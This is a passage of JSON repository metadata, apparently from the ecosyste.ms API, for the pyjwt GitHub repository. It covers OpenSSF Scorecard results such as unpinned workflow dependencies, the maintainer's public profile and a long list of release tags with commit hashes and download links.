https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_p